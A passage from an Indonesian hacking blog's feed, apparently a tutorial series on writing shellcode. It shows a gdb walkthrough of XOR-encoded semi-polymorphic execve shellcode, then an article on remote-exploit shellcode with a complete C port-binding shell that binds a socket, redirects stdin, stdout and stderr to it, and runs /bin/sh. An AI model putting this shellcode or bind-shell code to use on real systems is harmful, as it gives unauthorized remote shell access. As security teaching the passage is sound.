0x8049542 &lt;shellcode+2&gt;:        pop    esi
0x8049543 &lt;shellcode+3&gt;:        xor    ecx,ecx
0x8049545 &lt;shellcode+5&gt;:        mov    cl,0x23
0x8049547 &lt;shellcode+7&gt;:        xor    BYTE PTR [esi],0x1a
0x804954a &lt;shellcode+10&gt;:       inc    esi
0x804954b &lt;shellcode+11&gt;:       loop   0x8049547 &lt;shellcode+7&gt;
0x804954d &lt;shellcode+13&gt;:       jmp    0x8049554 &lt;shellcode+20&gt;
0x804954f &lt;shellcode+15&gt;:       call   0x8049542 &lt;shellcode+2&gt;
0x8049554 &lt;shellcode+20&gt;:       sub    ebx,edx
0x8049556 &lt;shellcode+22&gt;:       stos   BYTE PTR es:[edi],al
0x8049557 &lt;shellcode+23&gt;:       pop    esp
0x8049558 &lt;shellcode+24&gt;:       sub    eax,ecx
0x804955a &lt;shellcode+26&gt;:       sub    edx,ebx
0x804955c &lt;shellcode+28&gt;:       xlat   BYTE PTR ds:[ebx]
0x804955d &lt;shellcode+29&gt;:       call   0x3535:0x724ada2b
0x8049564 &lt;shellcode+36&gt;:       imul   esi,DWORD PTR [edx+114],0x74737835
0x804956b &lt;shellcode+43&gt;:       xchg   ebx,eax
0x804956c &lt;shellcode+44&gt;:       stc
0x804956d &lt;shellcode+45&gt;:       dec    edx
0x804956e &lt;shellcode+46&gt;:       dec    ecx
0x804956f &lt;shellcode+47&gt;:       xchg   ebx,eax
0x8049570 &lt;shellcode+48&gt;:       sti
0x8049571 &lt;shellcode+49&gt;:       sub    ecx,eax
0x8049573 &lt;shellcode+51&gt;:       stos   BYTE PTR es:[edi],al
(gdb) b *0x804954d
Breakpoint 4 at 0x804954d</pre></td></tr></table></div>

<p align="justify">
Di atas adalah hasil disassembly dari shellcode sebelum decoder dijalankan. Instruksinya bukan instruksi shellcode original. Sekarang kita coba run dan lihat instruksi assembly hasil decodingnya.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">(gdb) run
Starting program: /home/admin/overflow/execsc
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
&nbsp;
Breakpoint 4, 0x0804954d in shellcode ()
(gdb) x/25i &amp;shellcode
0x8049540 &lt;shellcode&gt;:  jmp    0x804954f &lt;shellcode+15&gt;
0x8049542 &lt;shellcode+2&gt;:        pop    esi
0x8049543 &lt;shellcode+3&gt;:        xor    ecx,ecx
0x8049545 &lt;shellcode+5&gt;:        mov    cl,0x23
0x8049547 &lt;shellcode+7&gt;:        xor    BYTE PTR [esi],0x1a
0x804954a &lt;shellcode+10&gt;:       inc    esi
0x804954b &lt;shellcode+11&gt;:       loop   0x8049547 &lt;shellcode+7&gt;
0x804954d &lt;shellcode+13&gt;:       jmp    0x8049554 &lt;shellcode+20&gt;
0x804954f &lt;shellcode+15&gt;:       call   0x8049542 &lt;shellcode+2&gt;
0x8049554 &lt;shellcode+20&gt;:       xor    eax,eax
0x8049556 &lt;shellcode+22&gt;:       mov    al,0x46
0x8049558 &lt;shellcode+24&gt;:       xor    ebx,ebx
0x804955a &lt;shellcode+26&gt;:       xor    ecx,ecx
0x804955c &lt;shellcode+28&gt;:       int    0x80
0x804955e &lt;shellcode+30&gt;:       xor    eax,eax
0x8049560 &lt;shellcode+32&gt;:       push   eax
0x8049561 &lt;shellcode+33&gt;:       push   0x68732f2f
0x8049566 &lt;shellcode+38&gt;:       push   0x6e69622f
0x804956b &lt;shellcode+43&gt;:       mov    ebx,esp
0x804956d &lt;shellcode+45&gt;:       push   eax
0x804956e &lt;shellcode+46&gt;:       push   ebx
0x804956f &lt;shellcode+47&gt;:       mov    ecx,esp
0x8049571 &lt;shellcode+49&gt;:       xor    edx,edx
0x8049573 &lt;shellcode+51&gt;:       mov    al,0xb
0x8049575 &lt;shellcode+53&gt;:       int    0x80</pre></td></tr></table></div>

<p align="justify">
Karena kita ingin melihat hasil decodingnya, maka kita pasang breakpoint pada titik shellcode+13 (0x804954d). Pada titik tersebut ada instruksi &#8220;jmp 0&#215;8049554 <shellcode+20>&#8220;, yaitu instruksi untuk mengeksekusi shellcode yang telah di-decode. Setelah breakpoint dipasang, kita bisa jalankan program dengan run. Ketika breakpoint dicapai, kita bisa lihat hasil decodingnya pada lokasi shellcode+20 sampai shellcode+53.
</p>
<p align="justify">
Sebagai contoh perhatikan pada shellcode+20, instruksi sebelum decode adalah &#8220;sub ebx,edx&#8221;, instruksi itu bukan instruksi shellcode originial. Namun setelah decoding selesai pada lokasi tersebut menjadi &#8220;xor eax,eax&#8221; yang merupakan instruksi shellcode yang asli. Contoh lain, pada lokasi shellcode+28 sebelum decode instruksinya adalah &#8220;xlat BYTE PTR ds:[ebx]&#8220;, namun setelah decode kembali normal menjadi &#8220;int 0&#215;80&#8243;.
</p>
<p align="justify">
Tabel di bawah ini menunjukkan beberapa perbedaan antara instruksi assembly dari shellcode original dengan instruksi assembly yang telah ter-encode. Kolom &#8220;Before Decoding&#8221; adalah assembly shellcode yang telah di-encode, sedangkan kolom &#8220;After Decoding&#8221; menunjukkan assembly shellcode yang original setelah decoder selesai bekerja.
</p>
<table border=1>
<tr>
<th>Address</th>
<th>Before Decoding</th>
<th>After Decoding</th>
</tr>
<tr>
<td>shellcode+20</td>
<td>sub ebx,edx</td>
<td>xor eax,eax</td>
</tr>
<tr>
<td>shellcode+22</td>
<td>stos BYTE PTR es:[edi],al</td>
<td>mov al,0&#215;46</td>
</tr>
<tr>
<td>shellcode+28</td>
<td>xlat BYTE PTR ds:[ebx]</td>
<td>int 0&#215;80</td>
</tr>
<tr>
<td>shellcode+46</td>
<td>dec ecx</td>
<td>push ebx</td>
</tr>
</table>
<p align="justify">
Oke, sampai disini dulu pembahasan mengenai semi-polymorphic shellcode, sampai jumpa lagi pada artikel berikutnya mengenai true-polymorphic shellcode.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=XAasv2Aw_vU:EzkL3qml-KA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=XAasv2Aw_vU:EzkL3qml-KA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=XAasv2Aw_vU:EzkL3qml-KA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=XAasv2Aw_vU:EzkL3qml-KA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=XAasv2Aw_vU:EzkL3qml-KA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=XAasv2Aw_vU:EzkL3qml-KA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=XAasv2Aw_vU:EzkL3qml-KA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=XAasv2Aw_vU:EzkL3qml-KA:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-iii-semi-polymorphic-shellcode/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Belajar Membuat Shellcode (II): Remote Exploit Shellcode</title>
		<link>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-2-remote-exploit-shellcode/</link>
		<comments>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-2-remote-exploit-shellcode/#comments</comments>
		<pubDate>Wed, 23 Dec 2009 09:53:03 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=1907</guid>
		<description><![CDATA[Dalam artikel sebelumnya saya sudah menjelaskan dasar-dasar pembuatan shellcode. Saya sudah menjelaskan pembuatan shellcode untuk local exploit. Nah kali ini saya akan lanjutkan lagi untuk membuat shellcode yang dipakai untuk exploit secara remote. Remote Exploit Remote exploit adalah teknik exploitasi yang dilakukan secara remote melalui jaringan. Exploit jenis ini biasanya menyerang server/daemon yang sedang &#8220;LISTEN&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Dalam artikel sebelumnya saya sudah menjelaskan dasar-dasar pembuatan shellcode. Saya sudah menjelaskan pembuatan shellcode untuk local exploit. Nah kali ini saya akan lanjutkan lagi untuk membuat shellcode yang dipakai untuk exploit secara remote.</p>
<p style="text-align: justify;"><strong>Remote Exploit</strong></p>
<p style="text-align: justify;">Remote exploit adalah teknik exploitasi yang dilakukan secara remote melalui jaringan. Exploit jenis ini biasanya menyerang server/daemon yang sedang &#8220;LISTEN&#8221; di port tertentu.</p>
<p style="text-align: justify;">Perbedaan utama antara local exploit dan remote exploit adalah pada kondisi awalnya. Pada local exploit, sejak awal attacker sudah memiliki shell access baik melalui ssh, telnet atau remote desktop connection, namun dengan hak akses terbatas (sebagai normal user). Sedangkan pada remote exploit, kondisi awal attacker adalah tidak memiliki akses shell. Akses shell yang saya maksud adalah kemampun untuk execute suatu file executable.</p>
<p style="text-align: justify;">Jadi pada local exploit, tujuannya adalah privilege escalation atas hak akses yang terbatas tersebut menjadi tidak terbatas (root/administrator). Sedangkan pada remote exploit, karena pada awalnya tidak punya akses shell, maka remote exploit berusaha mendapatkan akses shell, baik sebagai user biasa maupun sebagai super user (root/administrator).</p>
<p><span id="more-1907"></span></p>
<p style="text-align: justify;"><strong>Remote Shellcode</strong></p>
<p style="text-align: justify;">Dalam artikel ini saya akan menjelaskan tentang pembuatan 2 jenis remote shellcode, yaitu:</p>
<ul>
<li><strong>Port Binding Shellcode</strong></li>
</ul>
<p style="text-align: justify;">Shellcode jenis ini bertujuan untuk memberikan shell yang bisa diakses dari jauh melalui port tertentu. Attacker bisa mengakses shell tersebut dengan membuka koneksi ke IP komputer target pada port yang sudah ditentukan sebelumnya.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/port-binding3.gif"><img class="aligncenter size-full wp-image-1920" title="port binding" src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/port-binding3.gif" alt="port binding" width="701" height="256" /></a></p>
<p style="text-align: justify;">Port binding shellcode tidak berguna bila komputer target dilindungi dengan firewall yang memblok inbound koneksi ke port di luar port yang diijinkan.</p>
<blockquote>
<p style="text-align: justify;">Firewall yang ditakutkan bukan firewall yang berada di komputer target sebab attacker bisa juga menambahkan rutin untuk mendisable firewall di komputer target. Tetapi firewall yang berada di luar komputer target tidak bisa dimatikan dari komputer target.</p>
</blockquote>
<ul>
<li><strong>Reverse Connecting Shellcode</strong></li>
</ul>
<p style="text-align: justify;">Reverse connecting shellcode mirip dengan port binding shellcode namun arah koneksinya terbalik. Dalam shellcode ini justru komputer target yang membuka koneksi ke attacker. Kenapa diperlukan shellcode seperti ini? Dalam banyak kasus orang sangat paranoid terhadap koneksi yang masuk ke komputernya, namun tidak terlalu paranoid untuk koneksi keluar.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/reverseconnecting.gif"><img class="aligncenter size-full wp-image-1922" title="reverseconnecting" src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/reverseconnecting.gif" alt="reverseconnecting" width="691" height="270" /></a></p>
<blockquote>
<p style="text-align: justify;">Port yang biasanya diijinkan untuk diakses adalah port untuk http, yaitu 80 dan 443 (SSL) karena ini adalah layanan yang paling banyak dipakai sehingga kecil kemungkinan ada admin yang memblok koneksi ke web server luar</p>
</blockquote>
<p><strong>Socket Programming</strong></p>
<p style="text-align: justify;">Apa itu socket? Socket merupakan salah satu metode IPC (inter process communication), yaitu komunikasi antar proses (running program) di komputer yang sama maupun di komputer lain (melalui jaringan). Dalam kasus ini kita membicarakan mengenai internet socket, yaitu socket yang digunakan untuk berkomunikasi melalui jaringan baik dengan komputer yang sama (localhost) maupun dengan komputer lain.</p>
<p style="text-align: justify;">Ada dua jenis internet socket, yaitu datagram socket dan stream socket. Datagram socket digunakan untuk berkomunikasi menggunakan protokol UDP. Protokol UDP tidak cocok dipakai untuk kasus ini karena protokol ini tidak reliable. Stream socket adalah socket yang memakai protokol TCP, protokol inilah yang akan dipakai dalam shellcode ini.</p>
<p style="text-align: justify;">
Sebelum bisa memakai fungsi-fungsi socket, program harus meng-include header file berikut:
</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;sys/socket.h&gt;     // library untuk socket</span>
<span style="color: #339933;">#include &lt;netinet/in.h&gt;      // definisi struct untuk socket</span></pre></div></div>

<p style="text-align: justify;">
<b>Network Byte Order vs Host Byte Order</b>
</p>
<p style="text-align: justify;">
Dalam komputer, ada aturan bagaimana data secara internal disimpan. Ada dua kubu aturan penyimpanan yang dipakai: little endian dan big endian. Ada beberapa arsitektur komputer yang memakai little endian seperti Intel, dan ada juga yang memakai big endian seperti Motorola dan PowerPC.
</p>
<p style="text-align: justify;">
Dalam socket programming kita akan berkomunikasi dengan komputer lain yang tidak selalu sejenis arsitekturnya dengan yang kita pakai. Mungkin di komputer kita memakai little endian, berkomunikasi dengan komputer yang memakai big endian. Karena ada variasi ini, maka protokol IP mendefinisikan istilah network byte order dan host byte order.
</p>
<blockquote><p>
Network byte order adalah byte order dari protokol network yaitu memakai big endian byte ordering.
</p></blockquote>
<blockquote><p>
Host byte order adalah byte order yang dipakai client/server, bisa little atau big endian tergantung arsitektur komputernya.
</p></blockquote>
<blockquote><p>
Host byte order mungkin sama atau berbeda dengan host byte order.
</p></blockquote>
<p align="justify">
Pada notasi little endian, byte rendah ditulis duluan, baru kemudian byte tinggi. Sedangkan pada notasi big endian, byte tinggi ditulis duluan, baru kemudian byte tinggi. Perhatikan gambar di bawah ini untuk melihat perbedaan little dan big endian.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/endianness1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/endianness1.png" alt="" title="endianness" width="539" height="372" class="aligncenter size-full wp-image-1948" /></a></p>
<p align="justify">
Pada gambar di atas IP address 192.168.0.14 dalam hexa adalah C0.A8.00.0E disimpan dalam notasi little endian dan big endian. Byte paling rendah, yaitu 0x0E disimpan di alamat memori paling rendah pada sistem little endian. Sedangkan pada big endian, byte paling tinggi 0xC0 disimpan di alamat memori paling rendah.
</p>
<p style="text-align: justify;">
Dalam kasus arsitektur Intel IA32, terdapat perbedaan endianness antara host byte order yang memakai little endian, dengan network byte order protokol network yang memakai big endian. Perbedaan ini membuat data yang diterima dari protokol harus dikonversi dulu ke notasi little endian, bila tidak akan terjadi mis-interpretasi data. Contohnya data yang diterima dari network 0xABCD, bila tidak dikonversi maka data tersebut dikira sebagai 0xCDAB pada komputer yang memakai little endian.
</p>
<p style="text-align: justify;">
Karena protokol network memakai big endian, maka data yang ditulis dalam paket yang dikirim ke jaringan harus dalam notasi big endian. Contohnya dalam protokol IP, field source address harus ditulis dalam notasi big endian. Perhatikan contoh sniffing network packet berikut:
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/networkpacket.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/networkpacket.png" alt="" title="networkpacket" width="605" height="570" class="aligncenter size-full wp-image-1952" /></a></p>
<p style="text-align: justify;">
Perhatikan pada gambar di atas, field destination IP adalah 192.168.0.14 yang bila ditulis dalam bentuk dotted hexadecimal adalah C0.A8.00.0E. Dalam network packet, IP tersebut ditulis dalam bentuk C0.A8.00.0E, yaitu notasi big endian untuk C0.A8.00.0E. Bila menggunakan notasi little endian, nilai tersebut akan disimpan sebagai 0E.00.A8.C0.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/portendian.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/portendian.png" alt="" title="portendian" width="553" height="375" class="aligncenter size-full wp-image-1955" /></a></p>
<p style="text-align: justify;">
Pada gambar di atas juga terlihat bahwa field destination port dan source port juga ditulis dalam notasi big endian. Jadi jelas secara internal kita sudah melihat raw packet data yang diambil dari network, semua nilai ditulis dalam notasi big endian. Sekarang tinggal komputer yang terlibat dalam komunikasi harus menyesuaikan diri dengan notasi tersebut. Bila arsitekturnya juga memakai big endian, maka tidak ada yang perlu dikonversi.
</p>
<p style="text-align: justify;">
Karena host byte order di komputer yang saya pakai (IA32) memakai little endian, sedangkan network byte order memakai big endian, maka diperlukan konversi dari little endian ke big endian. Ada banyak fungsi untuk melakukan konversi ini, antara lain:
</p>
<ul>
<li>htons() dan htonl()</li>
<p align="justify">Mengubah host byte order ke network byte order. Fungsi ini dipakai untuk mengirimkan paket, sebelum data ditulis dalam paket dan dikirim ke jaringan harus dikonversi dulu dalam bentuk network byte order.</p>
<p align="justify">
Bagaimana menuliskan port 80 dalam network byte order? Pertama 80 dalam hexa adalah 0&#215;0050. Karena host (IA32) memakai little-endian, dan network memakai big endian, maka 0&#215;0050 ini perlu dibalik dulu menjadi 0&#215;5000. Kenapa harus dibalik? Ingat dalam IA32, nilai 0&#215;5000 di memori komputer host akan tersimpan sebagai 0&#215;00 0&#215;50 dan dituliskan dalam paket jaringan dalam urutan yang sama 0&#215;00 0&#215;50. Bila 0&#215;0050 tidak dibalik, maka di memori komputer host (IA32) akan tersimpan sebagai 0&#215;50 0&#215;00, sehingga dalam paket jaringan tertulis port 0&#215;50 0&#215;00 yang berarti port 20.480 bila diartikan memakai big endian, bukan port 80.
</p>
<li>ntohs() dan ntohl()</li>
<p align="justify">Mengubah network byte order ke host byte order. Fungsi ini dipakai ketika menerima paket dari jaringan. Dalam paket tersebut data ditulis dalam notasi big endian, sehingga perlu dikonversi ke host byte order yang sesuai (dalam kasus IA32 adalah little endian).</p>
</ul>
<p align="justify">Dalam contoh sebelumnya, port 80 dalam paket jaringan tertulis dalam urutan 0&#215;00 0&#215;50. Nilai ini ketika diterima oleh komputer host juga tersimpan di memori dalam urutan yang sama. Urutan dua byte 0&#215;00 0&#215;50 dalam host yang memakai little endian diartikan sebagai 0&#215;5000 yaitu 20.480. Oleh karena itu perlu dikonversi dulu menjadi notasi little endian, menjadi 0&#215;50 0&#215;00. Dua byte 0&#215;50 0&#215;00 dalam sistem little endian diartikan sebagai nilai 0&#215;0050 yaitu port 80.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/hostnetbyteorder.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/hostnetbyteorder.png" alt="" title="hostnetbyteorder" width="183" height="266" class="aligncenter size-full wp-image-1960" /></a></p>
<p align="justify">
Gambar di atas mengilustrasikan pemakaian fungsi untuk konversi endianness antara host dan network. Dalam membua shellcode nanti kita tidak akan memakai fungsi itu, kita akan langsung menuliskan dalam bentuk network byte order.
</p>
<p style="text-align: justify;">
<b>Socket Address Structure</b>
</p>
<p style="text-align: justify;">
Dalam pemrograman socket, sebuah proses akan memakai IP address dan port tertentu yang disimpan dalam struktur data bernama socket address yang strukturnya seperti di bawah ini:
</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">typedef</span> uint32_t in_addr_t<span style="color: #339933;">;</span>
<span style="color: #993333;">struct</span> in_addr
  <span style="color: #009900;">&#123;</span>
    in_addr_t s_addr<span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">struct</span> sockaddr_in
  <span style="color: #009900;">&#123;</span>
    sa_family_t sin_family<span style="color: #339933;">;</span>
    in_port_t sin_port<span style="color: #339933;">;</span>
    <span style="color: #993333;">struct</span> in_addr sin_addr<span style="color: #339933;">;</span>
    <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> sin_zero<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">8</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></div></div>

<p align="justify">
sin_family adalah jenis alamat yang dipakai dalam socket, dalam kasus ini kita isi dengan 2 atau AFINET, yaitu IP (internet protocol) address.  sin_addr adalah IP address yang bertipe struct in_addr yang hanya memiliki satu field yaitu s_addr bertipe integer. Dalam kasus port binding shellcode, sin_addr.s_addr diisi dengan 0 atau INADDR_ANY yang berarti kita menggunakan semua IP di localhost (tidak hanya 127.0.0.1 tapi semua IP address di komputer tersebut). sin_port adalah port yang akan dipakai untuk LISTEN, silakan mengisi dengan port apa saja yang tidak dipakai.
</p>
<blockquote><p>Ingat menuliskan IP address dan port harus dalam bentuk network byte order</p></blockquote>
<p><b>Client Server Socket Programming</b><br />
<a href="http://www.ilmuhacking.com/wp-content/uploads/2009/12/socketprogramming.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/12/socketprogramming.jpg" alt="" title="socketprogramming" width="416" height="290" class="aligncenter size-full wp-image-1970" /></a></p>
<p align="justify">
Socket programming melibatkan dua pihak, yaitu client dan server. Hubungan antara client dan server serta fungsi yang dipakai dapat dilihat pada gambar di atas.
</p>
<p align="justify">
Pada sisi server, fungsi yang dipakai adalah:
</p>
<ol>
<li>socket()</li>
<p align="justify">Ini adalah fungsi untuk membentuk socket baik di sisi server maupun client. Pertama kali yang harus dilakukan dalam socket programming adalah membuat socket dengan fungsi ini.</p>
<li>bind()</li>
<p align="justify">
Ini adalah fungsi untuk memakai IP address dan port tertentu dalam socket yang sudah dibuat dengan fungsi socket() sebelumnya.
</p>
<li>listen()</li>
<p align="justify">
Ini adalah fungsi untuk LISTEN atau menunggu permintaan koneksi dari client.
</p>
<li>accept()</li>
<p align="justify">
Ini adalah fungsi untuk menerima koneksi dari client.
</p>
<li>read()</li>
<p align="justify">
Ini adalah fungsi untuk menerima data yang dikirim client.
</p>
<li>write()</li>
<p align="justify">
Ini adalah fungsi untuk mengirim data ke client.
</p>
</ol>
<p align="justify">
Sedangkan pada sisi client lebih sederhana, fungsi yang dipakai adalah:
</p>
<ol>
<li>socket()</li>
<p align="justify">Sama seperti pada server, fungsi ini adalah fungsi yang pertama dipanggil dalam socket programming.</p>
<li>connect()</li>
<p align="justify">Fungsi ini untuk membuka koneksi ke server.</p>
<li>read()</li>
<p align="justify">Fungsi ini untuk menerima data dari server.</p>
<li>write()</li>
<p align="justify">Fungsi ini untuk mengirim data ke server.</p>
</ol>
<p><strong>Socket adalah File</strong></p>
<p align="justify">
Di UNIX semua hal adalah file, termasuk juga socket. Setiap file setelah dibuka, dapat dioperasikan dengan memakai file handler. Ketika program memanggil fungsi socket(), maka dia akan menerima socket file handler, dan dengan handler tersebut operasi dengan socket bisa dilakukan untuk berkomunikasi melalui jaringan.
</p>
<p align="justify">
Kenapa saya perlu menjelaskan tentang ini? Sebab dalam port binding shellcode kita perlu mengarahkan file handler stdin, stdout dan stderr ke file handler socket. STDIN adalah file handler dengan nilai 0, STDOUT adalah file handler dengan nilai 1 dan STDERR adalah file handler dengan nilai 2.
</p>
<p align="justify">
Biasanya stdin adalah keyboard, sehingga dengan membaca stdin program akan menerima masukan dari user. Namun dalam shellcode ini program tidak menerima input secara langsung dari keyboard, tetapi input berasal dari client socket. Agar input dari client socket bisa diterima oleh shell yang akan kita execute, maka kita perlu melakukan cloning dari client socket ke stdin. Dengan cloning ini, kini stdin adalah client socket dan program menerima input dari client socket.
</p>
<p align="justify">
Stdout adalah tempat untuk menampilkan output yang biasanya adalah layar console. Namun dalam kasus ini, output harus bisa dibaca oleh attacker yang berada di komputer lain melalui jaringan. Oleh karena itu stdout juga harus dicloning ke client socket sehinga shell bisa mengirimkan output melalui jaringan. Sedangkan stderr biasanya adalah layar console, sama dengan stdout.
</p>
<p align="justify">
Cloning file handler dilakukan dengan memanggil fungsi dup2([socket handler],[stdin/stdout/stderr]). Fungsi ini membuat socket handler dan stdin/stdout/stderr adalah sama.
</p>
<p><strong>Membuat Port Binding Shellcode</strong></p>
<p style="text-align: justify;">Port binding shellcode artinya shellcode bertindak sebagai server yang menunggu koneksi dari client yaitu attacker. Sebelum kita membuat shellcode dalam bahasa assembly saya akan membuat program port binding dalam bahasa C agar lebih mudah dimengerti. Source code port binding shellcode dalam bahasa C terlihat seperti di bawah ini:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;sys/socket.h&gt;</span>
<span style="color: #339933;">#include &lt;netinet/in.h&gt;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
        <span style="color: #993333;">int</span> server<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// server socket file handler</span>
        <span style="color: #993333;">int</span> client<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// client socket file handler</span>
        <span style="color: #993333;">struct</span> sockaddr_in serv_addr<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// definisi ipaddress dan port</span>
&nbsp;
        server<span style="color: #339933;">=</span>socket<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">2</span><span style="color: #339933;">,</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// membuat socket STREAM</span>
        serv_addr.<span style="color: #202020;">sin_addr</span>.<span style="color: #202020;">s_addr</span><span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// ip address ALL LOCAL address</span>
        serv_addr.<span style="color: #202020;">sin_port</span><span style="color: #339933;">=</span><span style="color: #208080;">0x5C09</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// port 2396 dalam network byte order</span>
        serv_addr.<span style="color: #202020;">sin_family</span><span style="color: #339933;">=</span><span style="color: #0000dd;">2</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// Jenis address IP</span>
        bind<span style="color: #009900;">&#40;</span>server<span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> sockaddr<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>serv_addr<span style="color: #339933;">,</span><span style="color: #0000dd;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// bind socket ke port dan ipaddress</span>
        listen<span style="color: #009900;">&#40;</span>server<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// menunggu koneksi dari client</span>
        client<span style="color: #339933;">=</span>accept<span style="color: #009900;">&#40;</span>server<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// koneksi dari client sudah terjalin</span>
&nbsp;
        dup2<span style="color: #009900;">&#40;</span>client<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// duplicate stdin ke client socket</span>
        dup2<span style="color: #009900;">&#40;</span>client<span style="color: #339933;">,</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// duplicate stdout ke client socket</span>
        dup2<span style="color: #009900;">&#40;</span>client<span style="color: #339933;">,</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// duplicate stderr ke cilent socket</span>
&nbsp;
        shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">;</span>
        shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
        execve<span style="color: #009900;">&#40;</span>shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>shell<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// execute shell dengan stdin,stdout dan stderr ke socket</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p style="text-align: justify;">
